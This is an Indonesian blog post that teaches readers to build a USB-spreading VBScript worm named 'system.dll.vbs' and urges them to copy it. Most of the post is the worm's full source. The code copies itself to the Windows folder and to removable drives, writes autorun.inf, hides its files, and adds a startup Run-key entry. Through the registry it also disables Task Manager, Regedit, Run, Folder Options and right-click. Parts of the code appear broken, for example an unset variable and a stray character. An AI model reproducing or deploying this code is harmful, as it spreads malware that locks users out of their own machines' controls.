Virus Sederhana Buat FlashDisk

Iseng-iseng googlink, eh tau - tau dapet sesuatu yang unik. Ga tau ada apa? kayanya akhir - akhir ini para virus maker banyak yang milih memakai bahasa VBS. Mungkin karena VB yang banyak bajakannya kali yach!!!!, dan yang terutama karena VBS lebih mudah dibuatnya dengan hanya menggunakan Notepad karena pada sistem windows sudah ada compilernya yaitu "Windows Based Script host"


Nah Sekarang kita akan membuat contoh virus lagi dari VBS, Virus nih biasanya nyerang Flashdisk dan virus ini akan autorun sendiri, sehingga flash disk yang nyangkut di komputer akan terinfeksi, virus nih dikasih nama "system.dll.vbs". Sekarang buka Notepad-nya. Copy kode berikut :

‘//–Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus–//
on error resume next

‘//–Dim kata-kata berikut ini–//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,system,nt,check,sd

‘//–Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information–//
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe system.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do

‘//–Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “\batch- system.dll.vbs “)
tf.attributes = 32
set tf=fs.createtextfile(windowpath & “\batch- system.dll.vbs”,2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & “\batch- system.dll.vbs “)
tf.attributes = 39


‘//–Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok–//‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket

for each flashdrive in fs.drives
‘//–Cek Drive–//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then

‘//–Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\–//
set tf=fs.getfile(flashdrive.path &”\system.dll.vbs “)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\system.dll.vbs “,2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path &”\system.dll.vbs “)
tf.attributes = 39

‘//–Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)–//
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next

‘//–Manipulasi Registry–//

set system = createobject(”WScript.Shell”)

‘//–Manip - Ubah Title Internet Explorer menjadi SYSTEM32–//
system.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,” SYSTEM32 “

‘//–Manip – Set agar file hidden tidak ditampilkan di Explorer–//
system.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0″, “REG_DWORD”
‘//–Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager–//
system.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”>
system.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”
system.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”
system.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”
system.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”

‘//–Manip – Disable klik kanan–//
system.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”

‘//–Manip - Munculkan Pesan Setiap Windows Startup–//
system.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Worm system. Variant from WIN32, don’t panic all data are safe.”

‘//–Manip – Aktif setiap Windows Startup–//
system.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- system.dll.vbs “

‘//–Manip – Ubah RegisteredOwner dan Organization–//
system.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “win32”
system.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”,”system”

‘//–Nah kalau kode dibawah ini gw nggak tau, tolong kalo ada yang bisa untuk menjelaskan–//
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(”Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname
‘Akhir dari Kode


Masih nanya lagi tentang nama virusnya kenapa harus system.dll.vbs? apa ga bisa di ganti atau dirubah? tentu bisa, asalkan scrip diatas harus dirubah juga sama nama yang mau lo pakai nanti. Kalo "dll" itu fungsinya buat apa? gausah di pikirin itu mah ga da fungsinya, cuma buat iseng - iseng aja biar lo pada bingung. Wkakakakakaka ...!!!!

Tapi gw tekankann lagi untuk tidak menyalah gunakan scrip ini. Scrip ini gw bahas cuma untuk perbandingan aja dari scrip - scrip yang sebelumnya aj, gw ga mau bertanggung jawab kalo ada apa - apa nantinya karena nih scrip bukan sepenuhnya dari ide gw ... !!!!

# Selamat Mencoba

1 comment:

Copyright © 2012 komputer-tech
Design by stuff-freeiz